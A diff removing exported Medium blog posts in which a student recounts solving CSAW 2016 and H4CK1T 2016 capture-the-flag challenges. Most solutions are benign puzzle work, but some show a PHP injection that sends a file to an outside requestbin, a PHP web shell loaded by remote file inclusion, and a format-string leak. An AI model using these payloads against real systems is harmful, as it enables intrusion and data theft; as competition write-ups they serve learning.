||||||
</article>
|
|
|
@ -1,34 +0,0 @@
|
||||||
---
|
|
||||||
title: So. I started a blog.
|
|
||||||
date: 2016-09-07T20:18:04.000Z
|
|
||||||
tags: [medium-blog]
|
|
||||||
---
|
|
||||||
|
|
||||||
<article class="h-entry">
|
|
||||||
<section data-field="body" class="e-content">
|
|
||||||
<section name="3307" class="section section--body section--first section--last">
|
|
||||||
<div class="section-content">
|
|
||||||
<div class="section-inner sectionLayout--insetColumn">
|
|
||||||
<p name="d54d" id="d54d" class="graf graf--p graf-after--h3">Hi. I’m Michael, a college freshman at the
|
|
||||||
University of Minnesota. I love writing code, and I would frequently participate in capture-the-flag (CTF)
|
|
||||||
competitions! I might be posting more about those here.</p>
|
|
||||||
<p name="138d" id="138d" class="graf graf--p graf-after--p">I’ll use this space to rant about life. And post
|
|
||||||
CTF writeups too (maybe).</p>
|
|
||||||
<p name="2f45" id="2f45" class="graf graf--p graf-after--p graf--trailing">I’m really trying to change my
|
|
||||||
study/life habits now that I have more freedom. More specifically, going to sleep at 3:00am every day
|
|
||||||
isn’t going to work anymore. Recently I started waking up at 6:15am and I think getting things done in the
|
|
||||||
morning is even easier than getting things done at night for me. Only problem is the waking up part. I’ll
|
|
||||||
try it for a couple weeks and I’ll let you guys know how it goes.</p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
</section>
|
|
||||||
<footer>
|
|
||||||
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
|
|
||||||
href="https://medium.com/p/f2d0db8a955d"><time class="dt-published"
|
|
||||||
datetime="2016-09-07T20:18:04.000Z">September 7, 2016</time></a>.</p>
|
|
||||||
<p><a href="https://medium.com/@failedxyz/so-i-started-a-blog-f2d0db8a955d" class="p-canonical">Canonical link</a>
|
|
||||||
</p>
|
|
||||||
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
|
|
||||||
</footer>
|
|
||||||
</article>
|
|
|
@ -1,98 +0,0 @@
|
||||||
---
|
|
||||||
title: CSAW CTF 2016 Quals
|
|
||||||
date: 2016-09-18T23:04:12.000Z
|
|
||||||
tags: [medium-blog]
|
|
||||||
---
|
|
||||||
|
|
||||||
<article class="h-entry">
|
|
||||||
<section data-field="body" class="e-content">
|
|
||||||
<section name="81bc" class="section section--body section--first section--last">
|
|
||||||
<div class="section-content">
|
|
||||||
<div class="section-inner sectionLayout--insetColumn">
|
|
||||||
<p name="3250" id="3250" class="graf graf--p graf-after--h3">Over the weekend, I worked with the team
|
|
||||||
Gophers in the Shell on CSAW CTF 2016. We ended up placing 317th place, with 401 points. Here I’m going to
|
|
||||||
document the problems that I solved during the competition.</p>
|
|
||||||
<h3 name="74cf" id="74cf" class="graf graf--h3 graf-after--p">Coinslot</h3>
|
|
||||||
<p name="7bae" id="7bae" class="graf graf--p graf-after--h3">For 25 points, the objective of this problem is
|
|
||||||
to output which coins/bills are needed for a given amount of money. When you connect to the server, it
|
|
||||||
will give you an amount in the form of $100.00 and then proceed to ask questions like $10,000 bills?. To
|
|
||||||
do this, I wrote a Python client to interact with the server.</p>
|
|
||||||
<pre name="7d34" id="7d34"
|
|
||||||
class="graf graf--pre graf-after--p">import socket<br>s = socket.socket()<br>s.connect((“misc.chal.csaw.io”, 8000))</pre>
|
|
||||||
<pre name="8c45" id="8c45"
|
|
||||||
class="graf graf--pre graf-after--pre">def recv(end=’\n’):<br> c, t = ‘’, ‘’<br> while c != end:<br> c = s.recv(1)<br> t += c<br> return t</pre>
|
|
||||||
<p name="79eb" id="79eb" class="graf graf--p graf-after--pre">This code will open a connection to the server
|
|
||||||
and read input until a certain character is reached. The algorithm for this problem is rather simple;
|
|
||||||
starting from the largest denomination ($10,000 bills), check if the remaining amount is greater than the
|
|
||||||
denomination (in other words, if that bill/coin can be used to pay the remaining amount), and then
|
|
||||||
subtract the largest multiple of that bill/coin from the remaining amount. In code, that looks like this:
|
|
||||||
</p>
|
|
||||||
<pre name="8793" id="8793"
|
|
||||||
class="graf graf--pre graf-after--p">r = recv()<br>amt = int(r.strip(“$”).strip().replace(“.”, “”))<br>print amt<br>for denom in denoms:<br> n = amt // denom<br> s.send(“%d\n” % n)<br> amt %= denom<br>recv()</pre>
|
|
||||||
<p name="2a5d" id="2a5d" class="graf graf--p graf-after--pre">Upon success, the server will then ask another
|
|
||||||
amount. I didn’t keep track of how many times it asked, but I wrapped the above code in a <code
|
|
||||||
class="markup--code markup--p-code">while True</code> loop and eventually I got the flag.</p>
|
|
||||||
<h3 name="bc76" id="bc76" class="graf graf--h3 graf-after--p">mfw</h3>
|
|
||||||
<p name="0e1b" id="0e1b" class="graf graf--p graf-after--h3">In this challenge we were presented with a site
|
|
||||||
with a navigation bar. On the About page, it tells you that the site was made with Git, PHP, and
|
|
||||||
Bootstrap. Upon seeing git, I immediately thought to check if the <code
|
|
||||||
class="markup--code markup--p-code">.git</code> folder was actually stored in the www root, and it was!
|
|
||||||
I ripped the git folder off the site and cloned it to restore the original folder structure.</p>
|
|
||||||
<p name="34a9" id="34a9" class="graf graf--p graf-after--p">There was a <code
|
|
||||||
class="markup--code markup--p-code">flag.php</code> in the templates folder, but the actual flag was
|
|
||||||
missing. That means I had to retrieve the flag from the actual server.</p>
|
|
||||||
<p name="c3f9" id="c3f9" class="graf graf--p graf-after--p">From the way the navigation bar was constructed,
|
|
||||||
it looks like I need to use local file inclusion. But I couldn’t use php’s <code
|
|
||||||
class="markup--code markup--p-code">base64</code> filter to print the contents of <code
|
|
||||||
class="markup--code markup--p-code">flag.php</code> because the <code
|
|
||||||
class="markup--code markup--p-code">$file</code> variable will stick ”templates/” to the front of the
|
|
||||||
given page before it’s <code class="markup--code markup--p-code">require_once</code>’d.</p>
|
|
||||||
<p name="c2bf" id="c2bf" class="graf graf--p graf-after--p">The trick to solving this one is injecting PHP
|
|
||||||
commands in the assert statements. I suspect that writing to the filesystem has been blocked. So instead,
|
|
||||||
I made a <a href="http://requestb.in" data-href="http://requestb.in"
|
|
||||||
class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">requestbin</a> that I would make
|
|
||||||
a GET request to, containing the contents of <code class="markup--code markup--p-code">flag.php</code>!
|
|
||||||
</p>
|
|
||||||
<p name="61df" id="61df" class="graf graf--p graf-after--p">The page I requested was:</p>
|
|
||||||
<pre name="8255" id="8255"
|
|
||||||
class="graf graf--pre graf-after--p">http://web.chal.csaw.io:8000/?page=flag%27+%2B+fopen%28%27http%3A%2F%2Frequestb.in%2F1l5k31z1%3Fp%3D%27+.+urlencode%28file_get_contents%28%27templates%2Fflag.php%27%29%29%2C+%27r%27%29+%2B+%27</pre>
|
|
||||||
<p name="80fb" id="80fb" class="graf graf--p graf-after--pre">Un-URL encoded, this looks like:</p>
|
|
||||||
<pre name="4d99" id="4d99"
|
|
||||||
class="graf graf--pre graf-after--p">flag’ + fopen(‘http://requestb.in/1l5k31z1?p=' . urlencode(file_get_contents(‘templates/flag.php’)), ‘r’) + ‘</pre>
|
|
||||||
<p name="e3c2" id="e3c2" class="graf graf--p graf-after--pre">As you can see, I’m reading the contents of
|
|
||||||
<code class="markup--code markup--p-code">flag.php</code>, URL-encoding it, and sending it to this
|
|
||||||
requestbin. This way, I can retrieve it from the requestbin later.
|
|
||||||
</p>
|
|
||||||
<h3 name="1a12" id="1a12" class="graf graf--h3 graf-after--p">Gametime</h3>
|
|
||||||
<p name="b5b0" id="b5b0" class="graf graf--p graf-after--h3">I got this close to the end of the competition,
|
|
||||||
but it suddenly hit me that if I just invert the condition of (if you hit the right key), then it will
|
|
||||||
think you win if you do absolutely nothing. Since they distributed the binary file instead of hosting it
|
|
||||||
on a server, this means I could just patch the binary file and re-run it.</p>
|
|
||||||
<p name="5875" id="5875" class="graf graf--p graf-after--p">I opened the exe in IDA, and used Alt+T to
|
|
||||||
search for <code class="markup--code markup--p-code">UDDER FAILURE</code>, the string it prints when you
|
|
||||||
fail. It actually occurs twice in the program, first during the “tutorial” level, and then during the
|
|
||||||
actual thing.</p>
|
|
||||||
<p name="3165" id="3165" class="graf graf--p graf-after--p">In both instances, right above where it prints
|
|
||||||
<code class="markup--code markup--p-code">UDDER FAILURE</code>, there is a <code
|
|
||||||
class="markup--code markup--p-code">jnz</code> that checks if the key you pressed was right. More
|
|
||||||
specifically, this occurs at <code class="markup--code markup--p-code">004014D5</code> and <code
|
|
||||||
class="markup--code markup--p-code">00401554</code>. To invert the condition, I had to change <code
|
|
||||||
class="markup--code markup--p-code">jnz</code> to <code class="markup--code markup--p-code">jz</code>.
|
|
||||||
In opcodes, that’s <code class="markup--code markup--p-code">75</code> and <code
|
|
||||||
class="markup--code markup--p-code">74</code>.
|
|
||||||
</p>
|
|
||||||
<p name="b409" id="b409" class="graf graf--p graf-after--p graf--trailing">Then I just ran the program
|
|
||||||
again, and waited for it to pass all the checks, and I got the flag!</p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
</section>
|
|
||||||
<footer>
|
|
||||||
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
|
|
||||||
href="https://medium.com/p/f9c51dffa34"><time class="dt-published"
|
|
||||||
datetime="2016-09-18T23:04:12.000Z">September 18, 2016</time></a>.</p>
|
|
||||||
<p><a href="https://medium.com/@failedxyz/csaw-ctf-2016-quals-f9c51dffa34" class="p-canonical">Canonical link</a>
|
|
||||||
</p>
|
|
||||||
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
|
|
||||||
</footer>
|
|
||||||
</article>
|
|
|
@ -1,186 +0,0 @@
|
||||||
---
|
|
||||||
title: H4CK1T CTF 2016
|
|
||||||
date: 2016-10-02T20:46:42.000Z
|
|
||||||
tags: [medium-blog]
|
|
||||||
---
|
|
||||||
|
|
||||||
<article class="h-entry">
|
|
||||||
<section data-field="body" class="e-content">
|
|
||||||
<section name="efb5" class="section section--body section--first section--last">
|
|
||||||
<div class="section-content">
|
|
||||||
<div class="section-inner sectionLayout--insetColumn">
|
|
||||||
<p name="1568" id="1568" class="graf graf--p graf-after--h3">Over the past week, I again worked with Gophers
|
|
||||||
in the Shell on a Ukrainian CTF called H4CK1T CTF. We finished 59th out of 1057 teams, with 2703 points.
|
|
||||||
Here are some of my writeups.</p>
|
|
||||||
<h3 name="6a51" id="6a51" class="graf graf--h3 graf-after--p">Algeria (250)</h3>
|
|
||||||
<p name="dab1" id="dab1" class="graf graf--p graf-after--h3">In this task we are given an encrypted image as
|
|
||||||
well as the encryption script. The script looks like this (condensed):</p>
|
|
||||||
<pre name="7b4d" id="7b4d"
|
|
||||||
class="graf graf--pre graf-after--p">x = random.randint(1,255)<br>y = random.randint(1,255)</pre>
|
|
||||||
<pre name="4540" id="4540"
|
|
||||||
class="graf graf--pre graf-after--pre">img_pix.putpixel((0,0),(len(FLAG),x,y))</pre>
|
|
||||||
<pre name="636c" id="636c"
|
|
||||||
class="graf graf--pre graf-after--pre">for l in FLAG:<br> x1 = random.randint(1,255)<br> y1 = random.randint(1,255)<br> img_pix.putpixel((x,y),(ord(l),x1,y1))<br> x = x1<br> y = y1</pre>
|
|
||||||
<pre name="5375" id="5375" class="graf graf--pre graf-after--pre">img_pix.save(‘encrypted.png’)</pre>
|
|
||||||
<p name="f59f" id="f59f" class="graf graf--p graf-after--pre">It seems that each character of the flag is
|
|
||||||
placed at random points in the encrypted image. Fortunately, each character also comes with the
|
|
||||||
coordinates of the next character. To solve the challenge, we just write a reversing script.</p>
|
|
||||||
<pre name="61b5" id="61b5"
|
|
||||||
class="graf graf--pre graf-after--p">FLAG = “”<br>img = Image.open(“encrypted.png”)<br>img_pix = img.convert(“RGB”)</pre>
|
|
||||||
<pre name="bd59" id="bd59"
|
|
||||||
class="graf graf--pre graf-after--pre">FLAG_LEN, x, y = img_pix.getpixel((0, 0))<br>for i in range(FLAG_LEN — 1):<br> c, x, y = img_pix.getpixel((x, y))<br> FLAG += chr(c)</pre>
|
|
||||||
<pre name="cd1f" id="cd1f" class="graf graf--pre graf-after--pre">print FLAG</pre>
|
|
||||||
<p name="d169" id="d169" class="graf graf--p graf-after--pre">The flag is <code
|
|
||||||
class="markup--code markup--p-code">h4ck1t{1NF0RM$T10N_1$_N0T_$3CUR3_4NYM0R}</code>.</p>
|
|
||||||
<h3 name="e98b" id="e98b" class="graf graf--h3 graf-after--p">Argentina (100)</h3>
|
|
||||||
<p name="dbc4" id="dbc4" class="graf graf--p graf-after--h3">I’m guessing the point of this problem was for
|
|
||||||
you to go through the network data and look for the right packets, but I just used <code
|
|
||||||
class="markup--code markup--p-code">strings</code>.</p>
|
|
||||||
<pre name="4678" id="4678"
|
|
||||||
class="graf graf--pre graf-after--p">$ strings top_secret_39af3e3ce5a5d5bc915749267d92ba43.pcap | grep h4ck1t<br>PASS h4ck1t{i_G07_ur_f1l3s}</pre>
|
|
||||||
<p name="5407" id="5407" class="graf graf--p graf-after--pre">The flag is <code
|
|
||||||
class="markup--code markup--p-code">h4ck1t{i_G07_ur_f1l3s}</code>.</p>
|
|
||||||
<h3 name="d1f6" id="d1f6" class="graf graf--h3 graf-after--p">Brazil (100)</h3>
|
|
||||||
<p name="d93e" id="d93e" class="graf graf--p graf-after--h3">In this challenge, we get a ZIP full of random
|
|
||||||
files (that look super suspicious), and we are asked to look for a secret. One place I eventually decided
|
|
||||||
to look at was Thumbs.db, which is a file that stores thumbnails for Windows Explorer.</p>
|
|
||||||
<p name="ccd5" id="ccd5" class="graf graf--p graf-after--p">There are many tools out there that can help
|
|
||||||
open this type of file. I used <a href="https://thumbsviewer.github.io"
|
|
||||||
data-href="https://thumbsviewer.github.io" class="markup--anchor markup--p-anchor" rel="noopener"
|
|
||||||
target="_blank">Thumbs Viewer</a>. Either way, the flag is the name of one of the thumbnails, <code
|
|
||||||
class="markup--code markup--p-code">h4ck1t{75943a3ca2223076e997fe30e17597d4}</code>.</p>
|
|
||||||
<h3 name="7d4a" id="7d4a" class="graf graf--h3 graf-after--p">Canada (300)</h3>
|
|
||||||
<p name="4a27" id="4a27" class="graf graf--p graf-after--h3">I don’t think I did this the intended way, but
|
|
||||||
we were given a binary that apparently produces an output file. But I just did</p>
|
|
||||||
<pre name="62cc" id="62cc"
|
|
||||||
class="graf graf--pre graf-after--p">$ strings parse | grep h4ck1t<br> to unused region of span2910383045673370361328125_cgo_thread_start missingacquirep: invalid p stateallgadd: bad status Gidlebad procedure for programbad status in shrinkstackcan’t scan gchelper stackchansend: spurious wakeupcheckdead: no m for timercheckdead: no p for timerh4ck1t{T0mmy_g0t_h1s_Gun}mach_semcreate desc countmissing stack in newstackno buffer space availableno such file or directoryoperation now in progressreflect: Bits of nil Typereleasep: invalid p stateresource deadlock avoidedruntime: program exceeds runtime</pre>
|
|
||||||
<p name="500e" id="500e" class="graf graf--p graf-after--pre">The flag is <code
|
|
||||||
class="markup--code markup--p-code">h4ck1t{T0mmy_g0t_h1s_Gun}</code>.</p>
|
|
||||||
<h3 name="5532" id="5532" class="graf graf--h3 graf-after--p">China (150)</h3>
|
|
||||||
<p name="5d82" id="5d82" class="graf graf--p graf-after--h3">This one was rather annoying. When you first
|
|
||||||
open the RTF file, there is about 53 pages of random hex. I stripped all the nonsense off, and opened the
|
|
||||||
binary file with HxD, only to discover that it was a PNG. Not only that, it seemed to have a ZIP appended
|
|
||||||
to the end of it.</p>
|
|
||||||
<p name="d14c" id="d14c" class="graf graf--p graf-after--p">At that point, I just <code
|
|
||||||
class="markup--code markup--p-code">binwalk</code>’d the PNG and extracted the ZIP, leading me to <code
|
|
||||||
class="markup--code markup--p-code">flag.txt</code>, containing the flag, <code
|
|
||||||
class="markup--code markup--p-code">h4ck1t{rtf_d0cs_4r3_awesome}</code>.</p>
|
|
||||||
<h3 name="d060" id="d060" class="graf graf--h3 graf-after--p">Chile (100)</h3>
|
|
||||||
<p name="2e87" id="2e87" class="graf graf--p graf-after--h3">We’re told to connect to <code
|
|
||||||
class="markup--code markup--p-code">91.231.84.36:9001</code>. When we connect, we are greeted with a
|
|
||||||
prompt: <code class="markup--code markup--p-code">wanna see?</code></p>
|
|
||||||
<p name="bfaf" id="bfaf" class="graf graf--p graf-after--p">It seems that the program will print back
|
|
||||||
whatever you give it. One thought that came to mind was a print format vulnerability. If the program calls
|
|
||||||
<code class="markup--code markup--p-code">printf(input)</code> where <code
|
|
||||||
class="markup--code markup--p-code">input</code> is the user input, then putting format symbols into our
|
|
||||||
input will cause the program to start reading off the stack.
|
|
||||||
</p>
|
|
||||||
<p name="91c7" id="91c7" class="graf graf--p graf-after--p">There was probably a better way to do it, but
|
|
||||||
essentially I just grabbed the top 50 elements off the stack and looked for a flag. And it was there!</p>
|
|
||||||
<pre name="423e" id="423e"
|
|
||||||
class="graf graf--pre graf-after--p">failedxyz@backtick:~$ python -c ‘print “%p-” * 50’ | nc 91.231.84.36 9001<br>wanna see?<br>ok, so…<br>0x7f0778198483–0x7f07781999e0–0x7f0777ec4710–0x7f07781999e0-(nil)-0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x2d70252d7025-(nil)-(nil)-0x7f0777de7c38-(nil)-0x7ffe058d71d0–0x7f0778198400–0x7f0777e54987–0x7f0778198400-(nil)-0x7f07783c7740–0x7f0777e517d9–0x7f0778198400–0x7f0777e49693-(nil)-0xea7c2294f9fed000–0x7ffe058d71d0–0x4007c1–0x647b74316b633468–0x355f7530595f4431–0x3f374168375f6545–0x7d373f-0x4007f0–0xea7c2294f9fed000–0x7ffe058d72b0-(nil)-(nil)-</pre>
|
|
||||||
<p name="92bf" id="92bf" class="graf graf--p graf-after--pre">If you get rid of the <code
|
|
||||||
class="markup--code markup--p-code">(nil)</code>s and reverse the string (remember endianness), then you
|
|
||||||
should eventually arrive at the flag, which is <code
|
|
||||||
class="markup--code markup--p-code">h4ck1t{d1D_Y0u_5Ee_7hA7??7}</code>.</p>
|
|
||||||
<h3 name="5a4b" id="5a4b" class="graf graf--h3 graf-after--p">Germany (200)</h3>
|
|
||||||
<p name="7699" id="7699" class="graf graf--p graf-after--h3">In this problem, we are given a dump of some
|
|
||||||
Corp User’s home folder. Most of the documents are useless, but what we are looking for is in the AppData
|
|
||||||
folder. More specifically, the transmission of information happens over Skype, so I looked in <code
|
|
||||||
class="markup--code markup--p-code">AppData\Roaming\Skype\live#3aames.aldrich</code>.</p>
|
|
||||||
<p name="e494" id="e494" class="graf graf--p graf-after--p"><code
|
|
||||||
class="markup--code markup--p-code">main.db</code> kinda stuck out, so I opened that first. It was an
|
|
||||||
SQLite database of a bunch of different Skype data. I ended up finding the flag in the <code
|
|
||||||
class="markup--code markup--p-code">Contacts</code> table, in the row containing the user <code
|
|
||||||
class="markup--code markup--p-code">zog black</code>, under <code
|
|
||||||
class="markup--code markup--p-code">province</code> and <code
|
|
||||||
class="markup--code markup--p-code">city</code> columns apparently. The flag was <code
|
|
||||||
class="markup--code markup--p-code">h4ck1t{87e2bc9573392d5f4458393375328cf2}</code>.</p>
|
|
||||||
<h3 name="16a6" id="16a6" class="graf graf--h3 graf-after--p">Mexico (150)</h3>
|
|
||||||
<p name="5e37" id="5e37" class="graf graf--p graf-after--h3">If you click around the navigation bar of the
|
|
||||||
website, you’ll notice that the pages are loaded by <code
|
|
||||||
class="markup--code markup--p-code">index.php?page=example</code>. It probably includes pages through
|
|
||||||
some naive include function without any sanitation, although it appends <code
|
|
||||||
class="markup--code markup--p-code">.php</code> to the end of the filename.</p>
|
|
||||||
<p name="8bdd" id="8bdd" class="graf graf--p graf-after--p">To bypass this, we just stick a <code
|
|
||||||
class="markup--code markup--p-code">%00</code> null character to the end of our URL. Then PHP stops
|
|
||||||
reading when it hits that and won’t append <code class="markup--code markup--p-code">.php</code> after the
|
|
||||||
file. But what file can we include to find the flag?</p>
|
|
||||||
<p name="a0e1" id="a0e1" class="graf graf--p graf-after--p">It occurred to me that if we could include any
|
|
||||||
file, we could set up a pastebin containing an executable PHP code, and then include it. The PHP code I
|
|
||||||
included looks like this:</p>
|
|
||||||
<pre name="cd28" id="cd28"
|
|
||||||
class="graf graf--pre graf-after--p">if (isset($_GET[‘cmd’]))<br> echo system($_GET[‘cmd’]);<br>?></pre>
|
|
||||||
<p name="4372" id="4372" class="graf graf--p graf-after--pre">Stick that in a pastebin or something, and
|
|
||||||
then include it in your URL like this:</p>
|
|
||||||
<pre name="5f6d" id="5f6d"
|
|
||||||
class="graf graf--pre graf-after--p">http://91.231.84.36:9150/index.php?page=http://pastebin.com/raw/icSpe0F0%00</pre>
|
|
||||||
<p name="e164" id="e164" class="graf graf--p graf-after--pre">Now you can execute shell commands from the
|
|
||||||
URL. Doing an <code class="markup--code markup--p-code">ls</code> on the current directory reveals a file
|
|
||||||
called <code class="markup--code markup--p-code">sup3r_$3cr3t_f1le.php</code>. If you <code
|
|
||||||
class="markup--code markup--p-code">cat sup3r*</code> then you should be able to get the flag: <code
|
|
||||||
class="markup--code markup--p-code">h4ck1t{g00d_rfi_its_y0ur_fl@g}</code>.</p>
|
|
||||||
<h3 name="4b38" id="4b38" class="graf graf--h3 graf-after--p">Mongolia (100)</h3>
|
|
||||||
<p name="e011" id="e011" class="graf graf--p graf-after--h3">In this problem we are asked to connect to
|
|
||||||
<code class="markup--code markup--p-code">ctf.com.ua:9988</code> and solve math problems. We told <code
|
|
||||||
class="markup--code markup--p-code">C = A ^ B</code> and then given C, we are asked to find A and B.
|
|
||||||
Problem is, the C that they give are sometimes hundreds of digits long. Brute forcing directly is not a
|
|
||||||
good idea.
|
|
||||||
</p>
|
|
||||||
<p name="486d" id="486d" class="graf graf--p graf-after--p">The algorithm we used was to prime-factorize C,
|
|
||||||
and then multiply the factors as A, and counting how many of each factor as B. Obviously, if a factor like
|
|
||||||
2 appeared more than once, we multiply it twice into A, rather than making B twice as large.</p>
|
|
||||||
<p name="2a7c" id="2a7c" class="graf graf--p graf-after--p">We used the Sieve of Atkin to generate a list of
|
|
||||||
primes up to 10,000,000 (although we probably didn’t need that many), and stored it into <code
|
|
||||||
class="markup--code markup--p-code">primes.txt</code>. The final program looks like this:</p>
|
|
||||||
<pre name="f6c7" id="f6c7"
|
|
||||||
class="graf graf--pre graf-after--p">from collections import Counter<br>import socket</pre>
|
|
||||||
<pre name="7f31" id="7f31"
|
|
||||||
class="graf graf--pre graf-after--pre">s = socket.socket()<br>s.connect((“ctf.com.ua”, 9988))</pre>
|
|
||||||
<pre name="50f2" id="50f2"
|
|
||||||
class="graf graf--pre graf-after--pre">primes = map(int, open(“primes.txt”).read().split(“ “))<br>i = 0<br>while True:<br> o = s.recv(8192)<br> print o<br> q = o.replace(“\n”, “”).replace(“ “, “”).split(“C=”)<br> r = int(q[-1])<br> print r<br> done = False<br> factors = []<br> for prime in primes:<br> while r % prime == 0:<br> factors.append(prime)<br> r //= prime<br> c = Counter(factors)<br> f = zip(*c.items())<br> B = min(c.values())<br> print f, c<br> A = reduce(lambda x, y: x * (y ** (c[y] // B)), f[0], 1)<br> if B == 1: A = r<br> print A, B<br> s.send(“%s %s\n” % (A, B))</pre>
|
|
||||||
<p name="16fa" id="16fa" class="graf graf--p graf-after--pre">The flag is <code
|
|
||||||
class="markup--code markup--p-code">h4ck1t{R4ND0M_1S_MY_F4V0UR1T3_W34P0N}</code>.</p>
|
|
||||||
<h3 name="51b1" id="51b1" class="graf graf--h3 graf-after--p">Oman (50)</h3>
|
|
||||||
<p name="8660" id="8660" class="graf graf--p graf-after--h3">I was so excited to do this challenge! Once I
|
|
||||||
unzipped the file and saw the folders and files, I knew it was a Minecraft world save!</p>
|
|
||||||
<p name="13b9" id="13b9" class="graf graf--p graf-after--p">I kind of saw it coming, but once I opened the
|
|
||||||
world, tons of shit blew up in my face. I decided to open it with MCEdit instead. There is a sign above
|
|
||||||
the spawn point that asks you to “remove the gray”. Since there was a huge rectangular field of bedrock, I
|
|
||||||
assumed it meant that.</p>
|
|
||||||
<p name="3476" id="3476" class="graf graf--p graf-after--p">Thing is if you play, and step on the pressure
|
|
||||||
plate, it will trigger a TNT chain reaction, blowing up the blocks that make up the flag. Using MCEdit, I
|
|
||||||
just selected the bedrock region and deleted it, revealing the flag below: <code
|
|
||||||
class="markup--code markup--p-code">h4ck1t{m1n3craft_h4c3r}</code>.</p>
|
|
||||||
<h3 name="d421" id="d421" class="graf graf--h3 graf-after--p">Paraguay (250)</h3>
|
|
||||||
<p name="3a9c" id="3a9c" class="graf graf--p graf-after--h3">Honestly, this one was such a pain in the ass.
|
|
||||||
Just when you thought it was 100 nested ZIPs, suddenly a RAR comes out of nowhere. Fortunately, a Python
|
|
||||||
library called <code class="markup--code markup--p-code">pyunpack</code> figures that out for you, by
|
|
||||||
checking the magic number of the file. The final script looks like this:</p>
|
|
||||||
<pre name="1165" id="1165"
|
|
||||||
class="graf graf--pre graf-after--p">from pyunpack import *<br>import shutil</pre>
|
|
||||||
<pre name="e117" id="e117"
|
|
||||||
class="graf graf--pre graf-after--pre">for i in range(100, 0, -1):<br> Archive(“%d” % i).extractall(“.”)<br> shutil.move(“work_folder/%d” % (i — 1), “%d” % (i — 1))</pre>
|
|
||||||
<p name="4d19" id="4d19" class="graf graf--p graf-after--pre">The flag is <code
|
|
||||||
class="markup--code markup--p-code">h4ck1t{0W_MY_G0D_Y0U_M4D3_1T}</code> .</p>
|
|
||||||
<h3 name="ee3c" id="ee3c" class="graf graf--h3 graf-after--p">United States (50)</h3>
|
|
||||||
<p name="216c" id="216c" class="graf graf--p graf-after--h3">This one was a freebie. Join their Telegram
|
|
||||||
channel and you get a free flag: <code
|
|
||||||
class="markup--code markup--p-code">h4ck1t{fr33_4nd_$ecur3!}</code>.</p>
|
|
||||||
<h3 name="df84" id="df84" class="graf graf--h3 graf-after--p">Trivia</h3>
|
|
||||||
<p name="7257" id="7257" class="graf graf--p graf-after--h3">There were a lot of trivia questions on the
|
|
||||||
board! They weren’t worth much, but still pretty fun. Here are the solutions:</p>
|
|
||||||
<pre name="28e0" id="28e0"
|
|
||||||
class="graf graf--pre graf-after--p graf--trailing">Cote d’Ivoire: h4ck1t{arpanet}<br>Bolivia: h4ck1t{Tim}<br>Colombia: h4ck1t{heartbleed}<br>Costa Rica: h4ck1t{7}<br>Ecuador: h4ck1t{archie}<br>Finland: h4ck1t{mitnick}<br>Greece: h4ck1t{30}<br>Honduras: h4ck1t{Binary}<br>Italy: h4ck1t{2015}<br>Kazakhstan: h4ck1t{polymorphic}<br>Kyrgyzstan: h4ck1t{smtp}<br>Madagascar: h4ck1t{caesar}<br>Nicaragua: h4ck1t{B@S3_S0_B@S3_}<br>Nigeria: h4ck1t{128}<br>Peru: h4ck1t{Decimal}<br>Phillipines: h4ck1t{creeper}<br>Spain: h4ck1t{social engineering}<br>Venezuela: h4ck1t{admin123}</pre>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</section>
|
|
||||||
</section>
|
|
||||||
<footer>
|
|
||||||
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
|
|
||||||
href="https://medium.com/p/8caf20e4b185"><time class="dt-published"
|
|
||||||
datetime="2016-10-02T20:46:42.000Z">October 2, 2016</time></a>.</p>
|
|
||||||
<p><a href="https://medium.com/@failedxyz/h4ck1t-ctf-2016-8caf20e4b185" class="p-canonical">Canonical link</a></p>
|
|
||||||
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
|
|
||||||
</footer>
|
|
||||||
</article>
|
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue